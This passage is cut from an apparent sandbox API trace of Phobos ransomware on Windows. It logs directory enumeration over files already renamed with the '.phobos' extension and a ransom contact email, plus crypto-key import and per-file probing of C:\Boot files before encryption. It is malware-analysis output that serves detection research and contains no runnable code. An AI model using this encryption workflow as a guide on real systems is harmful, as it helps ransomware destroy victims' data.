ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1044", cAlternateFileName="")) returned 1 [0132.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.077] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.077] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede0cac2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede0cac2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.077] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedea5496, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedea5496, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.077] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.077] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.077] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.078] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.078] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1045", cAlternateFileName="")) returned 1 [0132.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.078] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.078] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.079] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf17afd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.079] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.079] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.079] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.079] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.079] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1046", cAlternateFileName="")) returned 1 [0132.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7390a8 [0132.281] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.281] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf3dde3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 Thread: id = 294 os_tid = 0x380 [0132.037] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b90088 [0132.037] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2ba0090 [0132.038] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf1a6c0 [0132.038] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x110102) returned 0x3111020 [0132.040] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x50) returned 0xf1a6f0 [0132.040] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fed8 | out: phKey=0x2d4fed8*=0x7391a8) returned 1 [0132.040] CryptSetKeyParam (hKey=0x7391a8, dwParam=0x1, pbData=0x2d4fec0, dwFlags=0x0) returned 1 [0132.040] CryptDecrypt (in: hKey=0x7391a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf1a6f0, pdwDataLen=0x2d4fe8c | out: pbData=0xf1a6f0, pdwDataLen=0x2d4fe8c) returned 1 [0132.040] CryptDestroyKey (hKey=0x7391a8) returned 1 [0132.040] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0132.040] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0132.040] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff24 | out: OldValue=0x2d4ff24*=0x0) returned 1 [0132.040] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf1a6f0 | out: hHeap=0xf10000) returned 1 [0132.040] ResetEvent (hEvent=0x29c) returned 1 [0132.040] SetEvent (hEvent=0x2a0) returned 1 [0132.041] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.041] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0132.044] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=0) returned 1 [0132.044] CloseHandle (hObject=0x2d4) returned 1 [0132.044] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.255] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.255] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.255] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=75616) returned 1 [0132.255] CloseHandle (hObject=0x2d8) returned 1 [0132.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0132.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.256] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.256] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.256] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.256] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=75608) returned 1 [0132.256] CloseHandle (hObject=0x2d8) returned 1 [0132.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0132.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.256] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.256] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.256] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.256] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=811936) returned 1 [0132.257] CloseHandle (hObject=0x2d8) returned 1 [0132.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0132.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\memtest.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.257] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.257] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.257] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.257] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=75616) returned 1 [0132.257] CloseHandle (hObject=0x2d8) returned 1 [0132.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0132.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.257] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.257] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.257] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.258] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=45472) returned 1 [0132.258] CloseHandle (hObject=0x2d8) returned 1 [0132.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0132.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.258] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.258] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.258] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.258] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=78176) returned 1 [0132.258] CloseHandle (hObject=0x2d8) returned 1 [0132.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0132.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.258] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.258] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.258] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.259] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=45472) returned 1 [0132.259] CloseHandle (hObject=0x2d8) returned 1 [0132.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0132.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.259] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.259] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.259] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.259] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=77656) returned 1 [0132.259] CloseHandle (hObject=0x2d8) returned 1 [0132.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0132.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.259] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.259] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.260] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.260] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=45984) returned 1 [0132.260] CloseHandle (hObject=0x2d8) returned 1 [0132.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0132.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.260] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.260] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.260] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.260] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=76640) returned 1 [0132.260] CloseHandle (hObject=0x2d8) returned 1 [0132.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0132.260] GetFileAttributesW 